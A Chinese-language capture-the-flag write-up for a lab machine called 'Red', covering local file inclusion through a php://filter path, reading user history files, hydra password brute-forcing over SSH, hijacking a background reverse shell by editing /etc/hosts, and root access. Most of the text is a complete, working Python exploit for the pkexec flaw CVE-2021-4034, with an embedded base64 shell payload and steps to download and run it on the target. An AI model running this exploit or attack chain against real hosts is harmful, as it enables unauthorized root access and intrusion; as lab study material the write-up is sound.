
Red WriteUP
涉及到的网站:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
首先,进行端口扫描,探测目标主机开放端口:


可以看到目标主机开放了22和80 两个端口,访问80端口:

访问后,是一个网站,经过一番查看,当切换到about目录时,顶部url会显示 /index.php?page=about.html,当切换到services时,顶部url会显示/index.php?page=services.html,由此推断可能存在本地文件包含,尝试抓包修改GET参数:

尝试这些路径没有反应:


当尝试php://filter/convert.iconv.utf-8.utf-16/resource=时,爆出/etc/passwd:

下拉查看/etc/passwd:

可以看到有blue和red用户,尝试读取red用户的信息,因为.bash_history存储的是用户历史命令,位置在用户的家目录下:/home/red/.bash_history,/home/blue/history

查看red的历史命令后发现没有东西,尝试读取blue用户的历史命令记录:

可以看到在blue的用户目录下,有一个名为.reminder的文件,访问这个文件查看里面的内容:

将sup3r_p@s$w0rd!保存下来写入到kali,按照 .bash_history里面的hashcat命令生成Passlist.lst文件:

生成密码列表后,使用hydra进行密码破解:


破解完成密码后,ssh登录:

登录成功后,获得第一个flag。切换到red目录下查看是否有有用信息:

在过程中经常会出现命令行的弹框,猜测是否为定时任务,查看定时任务:

发现并没有定时任务,使用ps -ef查看一下进程信息:

发现red用户在后台以静默方式反弹shell,但是反弹shell的地址是一个域名,那么就查看/etc/hosts是否有域名的绑定,在此时发现我们已经被踢出会话,使用hydra重新获取密码并进入系统查看/etc/hosts并修改内容:

可以看到hosts文件我们是可写的,所以我们向里面追加内容,使反弹的shell反弹到我们本机:

在本机起nc监听:

可以看到已经顺利反弹shell,接下来查看red目录下面的内容:

查看可用的提权项:

可以看到并没有可用的提权项,查看red目录后发现.git目录:

可以看到pkexec有可提权,所以经过上网搜寻后,为CVE-2021-4034漏洞,下载该文件的exp,注意修改最后一行内容 libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)
中的pkexec路径为:/home/red/.git/
#!/usr/bin/env python3
# CVE-2021-4034 in Python
#
# Joe Ammond ([email protected])
#
# This was just an experiment to see whether I could get this to work
# in Python, and to play around with ctypes
# This was completely cribbed from blasty's original C code:
# https://haxx.in/files/blasty-vs-pkexec.c
import base64
import os
import sys
from ctypes import *
from ctypes.util import find_library
# Payload, base64 encoded ELF shared object. Generate with:
#
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
#
# The PrependSetuid=true is important, without it you'll just get
# a shell as the user and not root.
#
# Should work with any msfvenom payload, tested with linux/x64/exec
# and linux/x64/shell_reverse_tcp
payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)
# Set the environment for the call to execve()
environ = [
b'exploit',
b'PATH=GCONV_PATH=.',
b'LC_MESSAGES=en_US.UTF-8',
b'XAUTHORITY=../LOL',
None
]
# Find the C library to call execve() directly, as Python helpfully doesn't
# allow us to call execve() with no arguments.
try:
libc = CDLL(find_library('c'))
except:
print('[!] Unable to find the C library, wtf?')
sys.exit()
# Create the shared library from the payload
print('[+] Creating shared library for exploit code.')
try:
with open('payload.so', 'wb') as f:
f.write(payload)
except:
print('[!] Failed creating payload.so.')
sys.exit()
os.chmod('payload.so', 0o0755)
# make the GCONV_PATH directory
try:
os.mkdir('GCONV_PATH=.')
except FileExistsError:
print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
print('[!] Failed making GCONV_PATH=. directory.')
sys.exit()
# Create a temp exploit file
try:
with open('GCONV_PATH=./exploit', 'wb') as f:
f.write(b'')
except:
print('[!] Failed creating exploit file')
sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)
# Create directory to hold gconf-modules configuration file
try:
os.mkdir('exploit')
except FileExistsError:
print('[-] exploit directory already exists, continuing.')
except:
print('[!] Failed making exploit directory.')
sys.exit()
# Create gconf config file
try:
with open('exploit/gconv-modules', 'wb') as f:
f.write(b'module UTF-8// INTERNAL ../payload 2\n');
except:
print('[!] Failed to create gconf-modules config file.')
sys.exit()
# Convert the environment to an array of char*
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ
print('[+] Calling execve()')
# Call execve() with NULL arguments
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)
下载完成后,本机起php服务:

接下来在red主机上执行wget将exp下载到red主机中并执行exp:

可以看到我们顺利获得root权限,查看最后一个flag:

提权结束。

